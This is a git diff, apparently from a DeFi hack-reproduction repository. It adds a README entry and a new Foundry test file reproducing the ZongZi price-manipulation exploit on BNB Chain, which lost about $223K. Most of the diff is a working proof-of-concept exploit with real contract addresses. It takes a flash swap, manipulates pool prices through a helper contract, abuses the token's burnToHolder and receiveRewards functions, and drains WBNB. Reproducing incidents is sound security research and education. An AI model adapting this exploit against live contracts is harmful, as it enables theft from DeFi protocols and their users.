diff --git a/README.md b/README.md
index dca8ff40..288832cd 100644
--- a/README.md
+++ b/README.md
@@ -2,7 +2,7 @@
 
 **Reproduce DeFi hack incidents using Foundry.**
 
-374 incidents included.
+375 incidents included.
 
 Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)
 
@@ -34,6 +34,9 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )
 
 ## List of Past DeFi Incidents
+
+[20240325 ZongZi](#20240325-zongzi---price-manipulation)
+
 [20240314 ARK](#20240324-ark---business-logic-flaw)
 
 [20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self)
@@ -816,14 +819,32 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 
 ### List of DeFi Hacks & POCs
 
+### 20240325 ZongZi - Price Manipulation
+
+### Lost: ~223K
+
+```
+forge test --contracts src/test/ZongZi_exp.sol -vvv
+```
+
+#### Contract
+
+[ZongZi_exp.sol](src/test/ZongZi_exp.sol)
+
+#### Link reference
+
+https://twitter.com/0xNickLFranklin/status/1772195949638775262
+
+---
+
 ### 20240321 SSS - Token Balance Doubles on Transfer to self
 
 ### Lost: 4.8M
 
-
 ```sh
 forge test --contracts ./src/test/SSS_exp.sol -vvv
 ```
+
 #### Contract
 
 ### 20240324 ARK - business logic flaw
@@ -845,6 +866,7 @@ https://twitter.com/Phalcon_xyz/status/1771728823534375249
 ---
 
 [SSS_exp.sol](src/test/SSS_exp.sol)
+
 ### Link reference
 
 https://twitter.com/dot_pengun/status/1770989208125272481
diff --git a/src/test/ZongZi_exp.sol b/src/test/ZongZi_exp.sol
new file mode 100644
index 00000000..f10f4cc1
--- /dev/null
+++ b/src/test/ZongZi_exp.sol
@@ -0,0 +1,160 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.10;
+
+import "forge-std/Test.sol";
+import "./interface.sol";
+
+// @KeyInfo - Total Lost : ~$223K
+// Attacker : https://bscscan.com/address/0x2c42824ef89d6efa7847d3997266b62599560a26
+// Attack Contract : https://bscscan.com/address/0x0bd0d9ba4f52db225b265c3cffa7bc4a418d22a9
+// Vuln Contract : https://bscscan.com/address/0xb7a254237e05ccca0a756f75fb78ab2df222911b
+// Attack txs : https://phalcon.blocksec.com/explorer/tx/bsc/0x247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f
+
+// @Analysis
+// https://twitter.com/0xNickLFranklin/status/1772195949638775262
+
+interface IZZF is IERC20 {
+    function burnToHolder(uint256 amount, address _invitation) external;
+
+    function receiveRewards(address to) external;
+}
+
+contract ContractTest is Test {
+    IWETH private constant WBNB =
+        IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
+    IERC20 private constant ZongZi =
+        IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
+    Uni_Pair_V2 private constant BUSDT_WBNB =
+        Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
+    Uni_Pair_V2 private constant WBNB_ZONGZI =
+        Uni_Pair_V2(0xD695C08a4c3B9FC646457aD6b0DC0A3b8f1219fe);
+    Uni_Router_V2 private constant Router =
+        Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
+    address private constant attackContract =
+        0x0bd0D9BA4f52dB225B265c3Cffa7bc4a418D22A9;
+    bytes32 private constant attackTx =
+        hex"247f4b3dbde9d8ab95c9766588d80f8dae835129225775ebd05a6dd2c69cd79f";
+
+    function setUp() public {
+        vm.createSelectFork("bsc", attackTx);
+        vm.label(address(WBNB), "WBNB");
+        vm.label(address(ZongZi), "ZongZi");
+        vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");
+        vm.label(address(WBNB_ZONGZI), "WBNB_ZONGZI");
+        vm.label(address(Router), "Router");
+    }
+
+    function testExploit() public {
+        emit log_named_decimal_uint(
+            "Exploiter WBNB balance before attack",
+            WBNB.balanceOf(address(this)),
+            18
+        );
+
+        uint256 pairWBNBBalance = WBNB.balanceOf(address(WBNB_ZONGZI));
+        uint256 multiplier = uint256(
+            vm.load(attackContract, bytes32(uint256(9)))
+        );
+
+        uint256 amount1Out = (pairWBNBBalance * multiplier) /
+            ((pairWBNBBalance * 100) / address(ZongZi).balance);
+
+        BUSDT_WBNB.swap(0, amount1Out, address(this), abi.encode(uint8(1)));
+
+        emit log_named_decimal_uint(
+            "Exploiter WBNB balance after attack",
+            WBNB.balanceOf(address(this)),
+            18
+        );
+    }
+
+    function pancakeCall(
+        address _sender,
+        uint256 _amount0,
+        uint256 _amount1,
+        bytes calldata _data
+    ) external {
+        Helper helper = new Helper();
+        WBNB.transfer(address(helper), _amount1);
+        helper.exploit();
+
+        ZongZi.approve(address(Router), type(uint256).max);
+        address[] memory path = new address[](2);
+        path[0] = address(ZongZi);
+        path[1] = address(WBNB);
+
+        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+            ZongZi.balanceOf(address(this)),
+            0,
+            path,
+            address(this),
+            block.timestamp + 86400
+        );
+        WBNB.transfer(address(BUSDT_WBNB), (_amount1 * 10026) / 10000);
+    }
+}
+
+contract Helper {
+    IWETH private constant WBNB =
+        IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
+    IERC20 private constant ZongZi =
+        IERC20(0xBB652D0f1EbBc2C16632076B1592d45Db61a7a68);
+    IZZF private constant ZZF =
+        IZZF(0xB7a254237E05cccA0a756f75FB78Ab2Df222911b);
+    Uni_Router_V2 private constant Router =
+        Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
+
+    function exploit() external {
+        WBNB.approve(address(Router), type(uint256).max);
+        ZongZi.approve(address(Router), type(uint256).max);
+        uint256 balanceBeforeWBNB = WBNB.balanceOf(address(this));
+
+        makeSwap(1e17, address(WBNB), address(ZongZi));
+        makeSwap(
+            ZongZi.balanceOf(address(this)),
+            address(ZongZi),
+            address(WBNB)
+        );
+
+        uint256 amountIn = balanceBeforeWBNB - 1e17;
+        makeSwap(amountIn, address(WBNB), address(ZongZi));
+
+        uint256 amountOut = address(ZongZi).balance - 1e9;
+        address[] memory path = new address[](2);
+        path[0] = address(ZongZi);
+        path[1] = address(WBNB);
+        uint256[] memory amounts = Router.getAmountsIn(amountOut, path);
+
+        ZZF.burnToHolder(amounts[0], msg.sender);
+        ZZF.receiveRewards(address(this));
+
+        makeSwap(
+            ZongZi.balanceOf(address(this)),
+            address(ZongZi),
+            address(WBNB)
+        );
+
+        WBNB.deposit{value: address(this).balance}();
+        WBNB.transfer(msg.sender, WBNB.balanceOf(address(this)));
+    }
+
+    function makeSwap(
+        uint256 amountIn,
+        address tokenA,
+        address tokenB
+    ) private {
+        address[] memory path = new address[](2);
+        path[0] = tokenA;
+        path[1] = tokenB;
+
+        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
+            amountIn,
+            0,
+            path,
+            address(this),
+            block.timestamp + 86400
+        );
+    }
+
+    receive() external payable {}
+}